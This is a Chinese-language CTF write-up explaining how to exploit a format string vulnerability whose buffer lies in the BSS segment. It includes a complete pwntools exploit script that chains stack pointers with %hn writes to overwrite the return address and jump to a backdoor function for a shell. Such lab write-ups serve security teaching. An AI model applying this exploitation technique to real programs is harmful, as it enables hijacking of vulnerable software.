非栈上格式化字符串漏洞(BSS段上)
BSS段上的fmt不同于一般的fmt,泄露的栈上地址不能直接修改利用
需要借助rbp以及栈上的链条间接写到栈上
做这类题的最终目的是将返回地址改为目标地址
做题步骤为
1.泄露某个栈地址,根据偏移定位RBP+8(返回地址位置)
2.再利用fmt找到一个带有指向链条的栈地址并且得出这些地址的fmt偏移(addr1->addr2)
3.将addr1改为RBP+8地址,再将addr2改为目标地址(后门函数或system)
用一个BSSFMT题目为例:
checksec:
64位 开了Canary和NX
IDA64打开 查看函数
会循环进行read和printf 存在格式化字符串漏洞
同时变量在BSS段上
有后门函数
gdb调试一下,找到偏移:
这里使用fmt偏移为10的栈地址,和rbp+8的地址距离为0x38
同时注意到r12的位置存在一个指向链,一个个偏移试出它们对应的fmt偏移是17,47:
接下来按照步骤进行写入:
from pwn import *p = process('./bssfmt')
context.log_level = 'debug'shell = 0x400A86
p.sendlineafter("FMT TESTING....\n", b'%10$p')
p.recvuntil(b'0x')
stack = int(p.recv(12), 16)
print(hex(stack))
rip = ((stack) & 0xffff) - 0x38
#1----根据偏移定位RBP+8p.sendlineafter(b"> ", b"yes")
payload = b'%' + str(rip).encode() + b'c%17$hn'
#gdb.attach(p)
p.sendline(payload)
#2----将addr1改为RBP+8地址p.sendlineafter(b"> ", b"yes")
payload2 =b'%' + str(shell & 0xffff).encode() + b'c%47$hn'
#pause()
p.sendline(payload2)
#3----再将addr2改为后门函数
p.interactive()
这样,就能让RBP+8(返回地址)的位置指向了后门函数,从而get shell
同时,有几点需要注意:
1.在动态调试的时候,出现了没有16字节对齐的情况,这个时候需要按照栈对齐的方法,把后门函数地址+1来保证栈对齐
2.尽量使用%hn或%hhn来写入数据,虽然%n在这题没问题,但是一次写入过多字节可能导致程序崩溃,而且使用%n的exp时,也会出现接收极多数据的现象(虽然也能打通,但是看起来很怪):
3.关于泄露rbp+8地址的选择,只要能得出固定偏移即可,在这题中,使用fmt偏移为8的栈地址同样能打通,只是离rbp+8的距离会改为0x150